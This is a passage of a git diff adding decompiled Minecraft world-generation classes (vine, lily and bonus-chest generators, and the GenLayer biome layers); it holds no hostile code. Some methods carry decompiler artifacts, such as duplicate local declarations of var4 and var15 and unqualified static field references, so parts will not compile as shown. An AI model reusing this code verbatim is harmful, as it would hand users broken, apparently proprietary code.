+          if (net.minecraft.init.Blocks.vine.canPlaceBlockOnSide(worldIn, p_180709_3_, var7))
+          {
+            IBlockState var8 = net.minecraft.init.Blocks.vine.getDefaultState().withProperty(net.minecraft.block.BlockVine.field_176273_b, Boolean.valueOf(var7 == EnumFacing.NORTH)).withProperty(net.minecraft.block.BlockVine.field_176278_M, Boolean.valueOf(var7 == EnumFacing.EAST)).withProperty(net.minecraft.block.BlockVine.field_176279_N, Boolean.valueOf(var7 == EnumFacing.SOUTH)).withProperty(net.minecraft.block.BlockVine.field_176280_O, Boolean.valueOf(var7 == EnumFacing.WEST));
+            worldIn.setBlockState(p_180709_3_, var8, 2);
+            break;
+          }
+        }
+      }
+      else
+      {
+        p_180709_3_ = p_180709_3_.add(p_180709_2_.nextInt(4) - p_180709_2_.nextInt(4), 0, p_180709_2_.nextInt(4) - p_180709_2_.nextInt(4));
+      }
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenWaterlily.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenWaterlily.java
new file mode 100644
index 0000000..f3c3199
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenWaterlily.java
@@ -0,0 +1,28 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.util.BlockPos;
+
+public class WorldGenWaterlily extends WorldGenerator
+{
+  private static final String __OBFID = "CL_00000189";
+  
+  public WorldGenWaterlily() {}
+  
+  public boolean generate(net.minecraft.world.World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    for (int var4 = 0; var4 < 10; var4++)
+    {
+      int var5 = p_180709_3_.getX() + p_180709_2_.nextInt(8) - p_180709_2_.nextInt(8);
+      int var6 = p_180709_3_.getY() + p_180709_2_.nextInt(4) - p_180709_2_.nextInt(4);
+      int var7 = p_180709_3_.getZ() + p_180709_2_.nextInt(8) - p_180709_2_.nextInt(8);
+      
+      if ((worldIn.isAirBlock(new BlockPos(var5, var6, var7))) && (net.minecraft.init.Blocks.waterlily.canPlaceBlockAt(worldIn, new BlockPos(var5, var6, var7))))
+      {
+        worldIn.setBlockState(new BlockPos(var5, var6, var7), net.minecraft.init.Blocks.waterlily.getDefaultState(), 2);
+      }
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenerator.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenerator.java
new file mode 100644
index 0000000..905a9b8
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenerator.java
@@ -0,0 +1,53 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+
+
+
+
+public abstract class WorldGenerator
+{
+  private final boolean doBlockNotify;
+  private static final String __OBFID = "CL_00000409";
+  
+  public WorldGenerator()
+  {
+    this(false);
+  }
+  
+  public WorldGenerator(boolean p_i2013_1_)
+  {
+    doBlockNotify = p_i2013_1_;
+  }
+  
+  public abstract boolean generate(World paramWorld, Random paramRandom, BlockPos paramBlockPos);
+  
+  public void func_175904_e() {}
+  
+  protected void func_175906_a(World worldIn, BlockPos p_175906_2_, Block p_175906_3_)
+  {
+    func_175905_a(worldIn, p_175906_2_, p_175906_3_, 0);
+  }
+  
+  protected void func_175905_a(World worldIn, BlockPos p_175905_2_, Block p_175905_3_, int p_175905_4_)
+  {
+    func_175903_a(worldIn, p_175905_2_, p_175905_3_.getStateFromMeta(p_175905_4_));
+  }
+  
+  protected void func_175903_a(World worldIn, BlockPos p_175903_2_, IBlockState p_175903_3_)
+  {
+    if (doBlockNotify)
+    {
+      worldIn.setBlockState(p_175903_2_, p_175903_3_, 3);
+    }
+    else
+    {
+      worldIn.setBlockState(p_175903_2_, p_175903_3_, 2);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGeneratorBonusChest.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGeneratorBonusChest.java
new file mode 100644
index 0000000..b456c6f
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGeneratorBonusChest.java
@@ -0,0 +1,92 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockChest;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityChest;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.WeightedRandomChestContent;
+import net.minecraft.world.World;
+
+
+public class WorldGeneratorBonusChest
+  extends WorldGenerator
+{
+  private final List field_175909_a;
+  private final int itemsToGenerateInBonusChest;
+  private static final String __OBFID = "CL_00000403";
+  
+  public WorldGeneratorBonusChest(List p_i45634_1_, int p_i45634_2_)
+  {
+    field_175909_a = p_i45634_1_;
+    itemsToGenerateInBonusChest = p_i45634_2_;
+  }
+  
+
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    Block var4;
+    while ((((var4 = worldIn.getBlockState(p_180709_3_).getBlock()).getMaterial() == Material.air) || (var4.getMaterial() == Material.leaves)) && (p_180709_3_.getY() > 1)) {
+      Block var4;
+      p_180709_3_ = p_180709_3_.offsetDown();
+    }
+    
+    if (p_180709_3_.getY() < 1)
+    {
+      return false;
+    }
+    
+
+    p_180709_3_ = p_180709_3_.offsetUp();
+    
+    for (int var5 = 0; var5 < 4; var5++)
+    {
+      BlockPos var6 = p_180709_3_.add(p_180709_2_.nextInt(4) - p_180709_2_.nextInt(4), p_180709_2_.nextInt(3) - p_180709_2_.nextInt(3), p_180709_2_.nextInt(4) - p_180709_2_.nextInt(4));
+      
+      if ((worldIn.isAirBlock(var6)) && (World.doesBlockHaveSolidTopSurface(worldIn, var6.offsetDown())))
+      {
+        worldIn.setBlockState(var6, Blocks.chest.getDefaultState(), 2);
+        TileEntity var7 = worldIn.getTileEntity(var6);
+        
+        if ((var7 instanceof TileEntityChest))
+        {
+          WeightedRandomChestContent.generateChestContents(p_180709_2_, field_175909_a, (TileEntityChest)var7, itemsToGenerateInBonusChest);
+        }
+        
+        BlockPos var8 = var6.offsetEast();
+        BlockPos var9 = var6.offsetWest();
+        BlockPos var10 = var6.offsetNorth();
+        BlockPos var11 = var6.offsetSouth();
+        
+        if ((worldIn.isAirBlock(var9)) && (World.doesBlockHaveSolidTopSurface(worldIn, var9.offsetDown())))
+        {
+          worldIn.setBlockState(var9, Blocks.torch.getDefaultState(), 2);
+        }
+        
+        if ((worldIn.isAirBlock(var8)) && (World.doesBlockHaveSolidTopSurface(worldIn, var8.offsetDown())))
+        {
+          worldIn.setBlockState(var8, Blocks.torch.getDefaultState(), 2);
+        }
+        
+        if ((worldIn.isAirBlock(var10)) && (World.doesBlockHaveSolidTopSurface(worldIn, var10.offsetDown())))
+        {
+          worldIn.setBlockState(var10, Blocks.torch.getDefaultState(), 2);
+        }
+        
+        if ((worldIn.isAirBlock(var11)) && (World.doesBlockHaveSolidTopSurface(worldIn, var11.offsetDown())))
+        {
+          worldIn.setBlockState(var11, Blocks.torch.getDefaultState(), 2);
+        }
+        
+        return true;
+      }
+    }
+    
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/layer/GenLayer.java b/src/minecraft/net/minecraft/world/gen/layer/GenLayer.java
new file mode 100644
index 0000000..ef09561
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/layer/GenLayer.java
@@ -0,0 +1,242 @@
+package net.minecraft.world.gen.layer;
+
+import java.util.concurrent.Callable;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.util.ReportedException;
+import net.minecraft.world.WorldType;
+import net.minecraft.world.biome.BiomeGenBase;
+import net.minecraft.world.gen.ChunkProviderSettings;
+import net.minecraft.world.gen.ChunkProviderSettings.Factory;
+
+
+
+
+
+
+
+
+
+
+public abstract class GenLayer
+{
+  private long worldGenSeed;
+  protected GenLayer parent;
+  private long chunkSeed;
+  protected long baseSeed;
+  private static final String __OBFID = "CL_00000559";
+  
+  public static GenLayer[] func_180781_a(long p_180781_0_, WorldType p_180781_2_, String p_180781_3_)
+  {
+    GenLayerIsland var4 = new GenLayerIsland(1L);
+    GenLayerFuzzyZoom var13 = new GenLayerFuzzyZoom(2000L, var4);
+    GenLayerAddIsland var14 = new GenLayerAddIsland(1L, var13);
+    GenLayerZoom var15 = new GenLayerZoom(2001L, var14);
+    var14 = new GenLayerAddIsland(2L, var15);
+    var14 = new GenLayerAddIsland(50L, var14);
+    var14 = new GenLayerAddIsland(70L, var14);
+    GenLayerRemoveTooMuchOcean var16 = new GenLayerRemoveTooMuchOcean(2L, var14);
+    GenLayerAddSnow var17 = new GenLayerAddSnow(2L, var16);
+    var14 = new GenLayerAddIsland(3L, var17);
+    GenLayerEdge var18 = new GenLayerEdge(2L, var14, GenLayerEdge.Mode.COOL_WARM);
+    var18 = new GenLayerEdge(2L, var18, GenLayerEdge.Mode.HEAT_ICE);
+    var18 = new GenLayerEdge(3L, var18, GenLayerEdge.Mode.SPECIAL);
+    var15 = new GenLayerZoom(2002L, var18);
+    var15 = new GenLayerZoom(2003L, var15);
+    var14 = new GenLayerAddIsland(4L, var15);
+    GenLayerAddMushroomIsland var19 = new GenLayerAddMushroomIsland(5L, var14);
+    GenLayerDeepOcean var20 = new GenLayerDeepOcean(4L, var19);
+    GenLayer var21 = GenLayerZoom.magnify(1000L, var20, 0);
+    ChunkProviderSettings var5 = null;
+    int var6 = 4;
+    int var7 = var6;
+    
+    if ((p_180781_2_ == WorldType.CUSTOMIZED) && (p_180781_3_.length() > 0))
+    {
+      var5 = ChunkProviderSettings.Factory.func_177865_a(p_180781_3_).func_177864_b();
+      var6 = field_177780_G;
+      var7 = field_177788_H;
+    }
+    
+    if (p_180781_2_ == WorldType.LARGE_BIOMES)
+    {
+      var6 = 6;
+    }
+    
+    GenLayer var8 = GenLayerZoom.magnify(1000L, var21, 0);
+    GenLayerRiverInit var22 = new GenLayerRiverInit(100L, var8);
+    GenLayerBiome var9 = new GenLayerBiome(200L, var21, p_180781_2_, p_180781_3_);
+    GenLayer var25 = GenLayerZoom.magnify(1000L, var9, 2);
+    GenLayerBiomeEdge var26 = new GenLayerBiomeEdge(1000L, var25);
+    GenLayer var10 = GenLayerZoom.magnify(1000L, var22, 2);
+    GenLayerHills var27 = new GenLayerHills(1000L, var26, var10);
+    var8 = GenLayerZoom.magnify(1000L, var22, 2);
+    var8 = GenLayerZoom.magnify(1000L, var8, var7);
+    GenLayerRiver var23 = new GenLayerRiver(1L, var8);
+    GenLayerSmooth var24 = new GenLayerSmooth(1000L, var23);
+    Object var28 = new GenLayerRareBiome(1001L, var27);
+    
+    for (int var11 = 0; var11 < var6; var11++)
+    {
+      var28 = new GenLayerZoom(1000 + var11, (GenLayer)var28);
+      
+      if (var11 == 0)
+      {
+        var28 = new GenLayerAddIsland(3L, (GenLayer)var28);
+      }
+      
+      if ((var11 == 1) || (var6 == 1))
+      {
+        var28 = new GenLayerShore(1000L, (GenLayer)var28);
+      }
+    }
+    
+    GenLayerSmooth var29 = new GenLayerSmooth(1000L, (GenLayer)var28);
+    GenLayerRiverMix var30 = new GenLayerRiverMix(100L, var29, var24);
+    GenLayerVoronoiZoom var12 = new GenLayerVoronoiZoom(10L, var30);
+    var30.initWorldGenSeed(p_180781_0_);
+    var12.initWorldGenSeed(p_180781_0_);
+    return new GenLayer[] { var30, var12, var30 };
+  }
+  
+  public GenLayer(long p_i2125_1_)
+  {
+    baseSeed = p_i2125_1_;
+    baseSeed *= (baseSeed * 6364136223846793005L + 1442695040888963407L);
+    baseSeed += p_i2125_1_;
+    baseSeed *= (baseSeed * 6364136223846793005L + 1442695040888963407L);
+    baseSeed += p_i2125_1_;
+    baseSeed *= (baseSeed * 6364136223846793005L + 1442695040888963407L);
+    baseSeed += p_i2125_1_;
+  }
+  
+
+
+
+
+  public void initWorldGenSeed(long p_75905_1_)
+  {
+    worldGenSeed = p_75905_1_;
+    
+    if (parent != null)
+    {
+      parent.initWorldGenSeed(p_75905_1_);
+    }
+    
+    worldGenSeed *= (worldGenSeed * 6364136223846793005L + 1442695040888963407L);
+    worldGenSeed += baseSeed;
+    worldGenSeed *= (worldGenSeed * 6364136223846793005L + 1442695040888963407L);
+    worldGenSeed += baseSeed;
+    worldGenSeed *= (worldGenSeed * 6364136223846793005L + 1442695040888963407L);
+    worldGenSeed += baseSeed;
+  }
+  
+
+
+
+  public void initChunkSeed(long p_75903_1_, long p_75903_3_)
+  {
+    chunkSeed = worldGenSeed;
+    chunkSeed *= (chunkSeed * 6364136223846793005L + 1442695040888963407L);
+    chunkSeed += p_75903_1_;
+    chunkSeed *= (chunkSeed * 6364136223846793005L + 1442695040888963407L);
+    chunkSeed += p_75903_3_;
+    chunkSeed *= (chunkSeed * 6364136223846793005L + 1442695040888963407L);
+    chunkSeed += p_75903_1_;
+    chunkSeed *= (chunkSeed * 6364136223846793005L + 1442695040888963407L);
+    chunkSeed += p_75903_3_;
+  }
+  
+
+
+
+  protected int nextInt(int p_75902_1_)
+  {
+    int var2 = (int)((chunkSeed >> 24) % p_75902_1_);
+    
+    if (var2 < 0)
+    {
+      var2 += p_75902_1_;
+    }
+    
+    chunkSeed *= (chunkSeed * 6364136223846793005L + 1442695040888963407L);
+    chunkSeed += worldGenSeed;
+    return var2;
+  }
+  
+
+
+  public abstract int[] getInts(int paramInt1, int paramInt2, int paramInt3, int paramInt4);
+  
+
+
+  protected static boolean biomesEqualOrMesaPlateau(int biomeIDA, int biomeIDB)
+  {
+    if (biomeIDA == biomeIDB)
+    {
+      return true;
+    }
+    if ((biomeIDA != mesaPlateau_FbiomeID) && (biomeIDA != mesaPlateaubiomeID))
+    {
+      BiomeGenBase var2 = BiomeGenBase.getBiome(biomeIDA);
+      BiomeGenBase var3 = BiomeGenBase.getBiome(biomeIDB);
+      
+      try
+      {
+        return (var2 != null) && (var3 != null) ? var2.isEqualTo(var3) : false;
+      }
+      catch (Throwable var7)
+      {
+        CrashReport var5 = CrashReport.makeCrashReport(var7, "Comparing biomes");
+        CrashReportCategory var6 = var5.makeCategory("Biomes being compared");
+        var6.addCrashSection("Biome A ID", Integer.valueOf(biomeIDA));
+        var6.addCrashSection("Biome B ID", Integer.valueOf(biomeIDB));
+        var6.addCrashSectionCallable("Biome A", new Callable()
+        {
+          private static final String __OBFID = "CL_00000560";
+          
+          public String call() {
+            return String.valueOf(GenLayer.this);
+          }
+        });
+        var6.addCrashSectionCallable("Biome B", new Callable()
+        {
+          private static final String __OBFID = "CL_00000561";
+          
+          public String call() {
+            return String.valueOf(GenLayer.this);
+          }
+        });
+        throw new ReportedException(var5);
+      }
+    }
+    
+
+    return (biomeIDB == mesaPlateau_FbiomeID) || (biomeIDB == mesaPlateaubiomeID);
+  }
+  
+
+
+
+
+  protected static boolean isBiomeOceanic(int p_151618_0_)
+  {
+    return (p_151618_0_ == oceanbiomeID) || (p_151618_0_ == deepOceanbiomeID) || (p_151618_0_ == frozenOceanbiomeID);
+  }
+  
+
+
+
+  protected int selectRandom(int... p_151619_1_)
+  {
+    return p_151619_1_[nextInt(p_151619_1_.length)];
+  }
+  
+
+
+
+  protected int selectModeOrRandom(int p_151617_1_, int p_151617_2_, int p_151617_3_, int p_151617_4_)
+  {
+    return (p_151617_3_ == p_151617_4_) && (p_151617_1_ != p_151617_2_) ? p_151617_3_ : (p_151617_2_ == p_151617_4_) && (p_151617_1_ != p_151617_3_) ? p_151617_2_ : (p_151617_2_ == p_151617_3_) && (p_151617_1_ != p_151617_4_) ? p_151617_2_ : (p_151617_1_ == p_151617_4_) && (p_151617_2_ != p_151617_3_) ? p_151617_1_ : (p_151617_1_ == p_151617_3_) && (p_151617_2_ != p_151617_4_) ? p_151617_1_ : (p_151617_1_ == p_151617_2_) && (p_151617_3_ != p_151617_4_) ? p_151617_1_ : (p_151617_1_ == p_151617_3_) && (p_151617_1_ == p_151617_4_) ? p_151617_1_ : (p_151617_1_ == p_151617_2_) && (p_151617_1_ == p_151617_4_) ? p_151617_1_ : (p_151617_1_ == p_151617_2_) && (p_151617_1_ == p_151617_3_) ? p_151617_1_ : (p_151617_2_ == p_151617_3_) && (p_151617_3_ == p_151617_4_) ? p_151617_2_ : selectRandom(new int[] { p_151617_1_, p_151617_2_, p_151617_3_, p_151617_4_ });
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/layer/GenLayerAddIsland.java b/src/minecraft/net/minecraft/world/gen/layer/GenLayerAddIsland.java
new file mode 100644
index 0000000..726b233
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/layer/GenLayerAddIsland.java
@@ -0,0 +1,102 @@
+package net.minecraft.world.gen.layer;
+
+public class GenLayerAddIsland extends GenLayer
+{
+  private static final String __OBFID = "CL_00000551";
+  
+  public GenLayerAddIsland(long p_i2119_1_, GenLayer p_i2119_3_)
+  {
+    super(p_i2119_1_);
+    parent = p_i2119_3_;
+  }
+  
+
+
+
+
+  public int[] getInts(int areaX, int areaY, int areaWidth, int areaHeight)
+  {
+    int var5 = areaX - 1;
+    int var6 = areaY - 1;
+    int var7 = areaWidth + 2;
+    int var8 = areaHeight + 2;
+    int[] var9 = parent.getInts(var5, var6, var7, var8);
+    int[] var10 = IntCache.getIntCache(areaWidth * areaHeight);
+    
+    for (int var11 = 0; var11 < areaHeight; var11++)
+    {
+      for (int var12 = 0; var12 < areaWidth; var12++)
+      {
+        int var13 = var9[(var12 + 0 + (var11 + 0) * var7)];
+        int var14 = var9[(var12 + 2 + (var11 + 0) * var7)];
+        int var15 = var9[(var12 + 0 + (var11 + 2) * var7)];
+        int var16 = var9[(var12 + 2 + (var11 + 2) * var7)];
+        int var17 = var9[(var12 + 1 + (var11 + 1) * var7)];
+        initChunkSeed(var12 + areaX, var11 + areaY);
+        
+        if ((var17 == 0) && ((var13 != 0) || (var14 != 0) || (var15 != 0) || (var16 != 0)))
+        {
+          int var18 = 1;
+          int var19 = 1;
+          
+          if ((var13 != 0) && (nextInt(var18++) == 0))
+          {
+            var19 = var13;
+          }
+          
+          if ((var14 != 0) && (nextInt(var18++) == 0))
+          {
+            var19 = var14;
+          }
+          
+          if ((var15 != 0) && (nextInt(var18++) == 0))
+          {
+            var19 = var15;
+          }
+          
+          if ((var16 != 0) && (nextInt(var18++) == 0))
+          {
+            var19 = var16;
+          }
+          
+          if (nextInt(3) == 0)
+          {
+            var10[(var12 + var11 * areaWidth)] = var19;
+          }
+          else if (var19 == 4)
+          {
+            var10[(var12 + var11 * areaWidth)] = 4;
+          }
+          else
+          {
+            var10[(var12 + var11 * areaWidth)] = 0;
+          }
+        }
+        else if ((var17 > 0) && ((var13 == 0) || (var14 == 0) || (var15 == 0) || (var16 == 0)))
+        {
+          if (nextInt(5) == 0)
+          {
+            if (var17 == 4)
+            {
+              var10[(var12 + var11 * areaWidth)] = 4;
+            }
+            else
+            {
+              var10[(var12 + var11 * areaWidth)] = 0;
+            }
+            
+          }
+          else {
+            var10[(var12 + var11 * areaWidth)] = var17;
+          }
+        }
+        else
+        {
+          var10[(var12 + var11 * areaWidth)] = var17;
+        }
+      }
+    }
+    
+    return var10;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/layer/GenLayerAddMushroomIsland.java b/src/minecraft/net/minecraft/world/gen/layer/GenLayerAddMushroomIsland.java
new file mode 100644
index 0000000..d8b4a23
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/layer/GenLayerAddMushroomIsland.java
@@ -0,0 +1,52 @@
+package net.minecraft.world.gen.layer;
+
+import net.minecraft.world.biome.BiomeGenBase;
+
+public class GenLayerAddMushroomIsland extends GenLayer
+{
+  private static final String __OBFID = "CL_00000552";
+  
+  public GenLayerAddMushroomIsland(long p_i2120_1_, GenLayer p_i2120_3_)
+  {
+    super(p_i2120_1_);
+    parent = p_i2120_3_;
+  }
+  
+
+
+
+
+  public int[] getInts(int areaX, int areaY, int areaWidth, int areaHeight)
+  {
+    int var5 = areaX - 1;
+    int var6 = areaY - 1;
+    int var7 = areaWidth + 2;
+    int var8 = areaHeight + 2;
+    int[] var9 = parent.getInts(var5, var6, var7, var8);
+    int[] var10 = IntCache.getIntCache(areaWidth * areaHeight);
+    
+    for (int var11 = 0; var11 < areaHeight; var11++)
+    {
+      for (int var12 = 0; var12 < areaWidth; var12++)
+      {
+        int var13 = var9[(var12 + 0 + (var11 + 0) * var7)];
+        int var14 = var9[(var12 + 2 + (var11 + 0) * var7)];
+        int var15 = var9[(var12 + 0 + (var11 + 2) * var7)];
+        int var16 = var9[(var12 + 2 + (var11 + 2) * var7)];
+        int var17 = var9[(var12 + 1 + (var11 + 1) * var7)];
+        initChunkSeed(var12 + areaX, var11 + areaY);
+        
+        if ((var17 == 0) && (var13 == 0) && (var14 == 0) && (var15 == 0) && (var16 == 0) && (nextInt(100) == 0))
+        {
+          var10[(var12 + var11 * areaWidth)] = mushroomIslandbiomeID;
+        }
+        else
+        {
+          var10[(var12 + var11 * areaWidth)] = var17;
+        }
+      }
+    }
+    
+    return var10;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/layer/GenLayerAddSnow.java b/src/minecraft/net/minecraft/world/gen/layer/GenLayerAddSnow.java
new file mode 100644
index 0000000..e930b77
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/layer/GenLayerAddSnow.java
@@ -0,0 +1,62 @@
+package net.minecraft.world.gen.layer;
+
+public class GenLayerAddSnow extends GenLayer
+{
+  private static final String __OBFID = "CL_00000553";
+  
+  public GenLayerAddSnow(long p_i2121_1_, GenLayer p_i2121_3_)
+  {
+    super(p_i2121_1_);
+    parent = p_i2121_3_;
+  }
+  
+
+
+
+
+  public int[] getInts(int areaX, int areaY, int areaWidth, int areaHeight)
+  {
+    int var5 = areaX - 1;
+    int var6 = areaY - 1;
+    int var7 = areaWidth + 2;
+    int var8 = areaHeight + 2;
+    int[] var9 = parent.getInts(var5, var6, var7, var8);
+    int[] var10 = IntCache.getIntCache(areaWidth * areaHeight);
+    
+    for (int var11 = 0; var11 < areaHeight; var11++)
+    {
+      for (int var12 = 0; var12 < areaWidth; var12++)
+      {
+        int var13 = var9[(var12 + 1 + (var11 + 1) * var7)];
+        initChunkSeed(var12 + areaX, var11 + areaY);
+        
+        if (var13 == 0)
+        {
+          var10[(var12 + var11 * areaWidth)] = 0;
+        }
+        else
+        {
+          int var14 = nextInt(6);
+          byte var15;
+          byte var15;
+          if (var14 == 0)
+          {
+            var15 = 4;
+          } else { byte var15;
+            if (var14 <= 1)
+            {
+              var15 = 3;
+            }
+            else
+            {
+              var15 = 1;
+            }
+          }
+          var10[(var12 + var11 * areaWidth)] = var15;
+        }
+      }
+    }
+    
+    return var10;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/layer/GenLayerBiome.java b/src/minecraft/net/minecraft/world/gen/layer/GenLayerBiome.java
new file mode 100644
index 0000000..6d76ecc
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/layer/GenLayerBiome.java
@@ -0,0 +1,123 @@
+package net.minecraft.world.gen.layer;
+
+import net.minecraft.world.WorldType;
+import net.minecraft.world.biome.BiomeGenBase;
+import net.minecraft.world.gen.ChunkProviderSettings;
+
+public class GenLayerBiome extends GenLayer
+{
+  private BiomeGenBase[] field_151623_c;
+  private BiomeGenBase[] field_151621_d;
+  private BiomeGenBase[] field_151622_e;
+  private BiomeGenBase[] field_151620_f;
+  private final ChunkProviderSettings field_175973_g;
+  private static final String __OBFID = "CL_00000555";
+  
+  public GenLayerBiome(long p_i45560_1_, GenLayer p_i45560_3_, WorldType p_i45560_4_, String p_i45560_5_)
+  {
+    super(p_i45560_1_);
+    field_151623_c = new BiomeGenBase[] { BiomeGenBase.desert, BiomeGenBase.desert, BiomeGenBase.desert, BiomeGenBase.savanna, BiomeGenBase.savanna, BiomeGenBase.plains };
+    field_151621_d = new BiomeGenBase[] { BiomeGenBase.forest, BiomeGenBase.roofedForest, BiomeGenBase.extremeHills, BiomeGenBase.plains, BiomeGenBase.birchForest, BiomeGenBase.swampland };
+    field_151622_e = new BiomeGenBase[] { BiomeGenBase.forest, BiomeGenBase.extremeHills, BiomeGenBase.taiga, BiomeGenBase.plains };
+    field_151620_f = new BiomeGenBase[] { BiomeGenBase.icePlains, BiomeGenBase.icePlains, BiomeGenBase.icePlains, BiomeGenBase.coldTaiga };
+    parent = p_i45560_3_;
+    
+    if (p_i45560_4_ == WorldType.DEFAULT_1_1)
+    {
+      field_151623_c = new BiomeGenBase[] { BiomeGenBase.desert, BiomeGenBase.forest, BiomeGenBase.extremeHills, BiomeGenBase.swampland, BiomeGenBase.plains, BiomeGenBase.taiga };
+      field_175973_g = null;
+    }
+    else if (p_i45560_4_ == WorldType.CUSTOMIZED)
+    {
+      field_175973_g = net.minecraft.world.gen.ChunkProviderSettings.Factory.func_177865_a(p_i45560_5_).func_177864_b();
+    }
+    else
+    {
+      field_175973_g = null;
+    }
+  }
+  
+
+
+
+
+  public int[] getInts(int areaX, int areaY, int areaWidth, int areaHeight)
+  {
+    int[] var5 = parent.getInts(areaX, areaY, areaWidth, areaHeight);
+    int[] var6 = IntCache.getIntCache(areaWidth * areaHeight);
+    
+    for (int var7 = 0; var7 < areaHeight; var7++)
+    {
+      for (int var8 = 0; var8 < areaWidth; var8++)
+      {
+        initChunkSeed(var8 + areaX, var7 + areaY);
+        int var9 = var5[(var8 + var7 * areaWidth)];
+        int var10 = (var9 & 0xF00) >> 8;
+        var9 &= 0xF0FF;
+        
+        if ((field_175973_g != null) && (field_175973_g.field_177779_F >= 0))
+        {
+          var6[(var8 + var7 * areaWidth)] = field_175973_g.field_177779_F;
+        }
+        else if (isBiomeOceanic(var9))
+        {
+          var6[(var8 + var7 * areaWidth)] = var9;
+        }
+        else if (var9 == mushroomIslandbiomeID)
+        {
+          var6[(var8 + var7 * areaWidth)] = var9;
+        }
+        else if (var9 == 1)
+        {
+          if (var10 > 0)
+          {
+            if (nextInt(3) == 0)
+            {
+              var6[(var8 + var7 * areaWidth)] = mesaPlateaubiomeID;
+            }
+            else
+            {
+              var6[(var8 + var7 * areaWidth)] = mesaPlateau_FbiomeID;
+            }
+            
+          }
+          else {
+            var6[(var8 + var7 * areaWidth)] = field_151623_c[nextInt(field_151623_c.length)].biomeID;
+          }
+        }
+        else if (var9 == 2)
+        {
+          if (var10 > 0)
+          {
+            var6[(var8 + var7 * areaWidth)] = junglebiomeID;
+          }
+          else
+          {
+            var6[(var8 + var7 * areaWidth)] = field_151621_d[nextInt(field_151621_d.length)].biomeID;
+          }
+        }
+        else if (var9 == 3)
+        {
+          if (var10 > 0)
+          {
+            var6[(var8 + var7 * areaWidth)] = megaTaigabiomeID;
+          }
+          else
+          {
+            var6[(var8 + var7 * areaWidth)] = field_151622_e[nextInt(field_151622_e.length)].biomeID;
+          }
+        }
+        else if (var9 == 4)
+        {
+          var6[(var8 + var7 * areaWidth)] = field_151620_f[nextInt(field_151620_f.length)].biomeID;
+        }
+        else
+        {
+          var6[(var8 + var7 * areaWidth)] = mushroomIslandbiomeID;
+        }
+      }
+    }
+    
+    return var6;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/layer/GenLayerBiomeEdge.java b/src/minecraft/net/minecraft/world/gen/layer/GenLayerBiomeEdge.java
new file mode 100644
index 0000000..ef27a9e
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/layer/GenLayerBiomeEdge.java
@@ -0,0 +1,171 @@
+package net.minecraft.world.gen.layer;
+
+import net.minecraft.world.biome.BiomeGenBase;
+
+public class GenLayerBiomeEdge extends GenLayer
+{
+  private static final String __OBFID = "CL_00000554";
+  
+  public GenLayerBiomeEdge(long p_i45475_1_, GenLayer p_i45475_3_)
+  {
+    super(p_i45475_1_);
+    parent = p_i45475_3_;
+  }
+  
+
+
+
+
+  public int[] getInts(int areaX, int areaY, int areaWidth, int areaHeight)
+  {
+    int[] var5 = parent.getInts(areaX - 1, areaY - 1, areaWidth + 2, areaHeight + 2);
+    int[] var6 = IntCache.getIntCache(areaWidth * areaHeight);
+    
+    for (int var7 = 0; var7 < areaHeight; var7++)
+    {
+      for (int var8 = 0; var8 < areaWidth; var8++)
+      {
+        initChunkSeed(var8 + areaX, var7 + areaY);
+        int var9 = var5[(var8 + 1 + (var7 + 1) * (areaWidth + 2))];
+        
+        if ((!replaceBiomeEdgeIfNecessary(var5, var6, var8, var7, areaWidth, var9, extremeHillsbiomeID, extremeHillsEdgebiomeID)) && (!replaceBiomeEdge(var5, var6, var8, var7, areaWidth, var9, mesaPlateau_FbiomeID, mesabiomeID)) && (!replaceBiomeEdge(var5, var6, var8, var7, areaWidth, var9, mesaPlateaubiomeID, mesabiomeID)) && (!replaceBiomeEdge(var5, var6, var8, var7, areaWidth, var9, megaTaigabiomeID, taigabiomeID)))
+        {
+
+
+
+
+
+          if (var9 == desertbiomeID)
+          {
+            int var10 = var5[(var8 + 1 + (var7 + 1 - 1) * (areaWidth + 2))];
+            int var11 = var5[(var8 + 1 + 1 + (var7 + 1) * (areaWidth + 2))];
+            int var12 = var5[(var8 + 1 - 1 + (var7 + 1) * (areaWidth + 2))];
+            int var13 = var5[(var8 + 1 + (var7 + 1 + 1) * (areaWidth + 2))];
+            
+            if ((var10 != icePlainsbiomeID) && (var11 != icePlainsbiomeID) && (var12 != icePlainsbiomeID) && (var13 != icePlainsbiomeID))
+            {
+              var6[(var8 + var7 * areaWidth)] = var9;
+            }
+            else
+            {
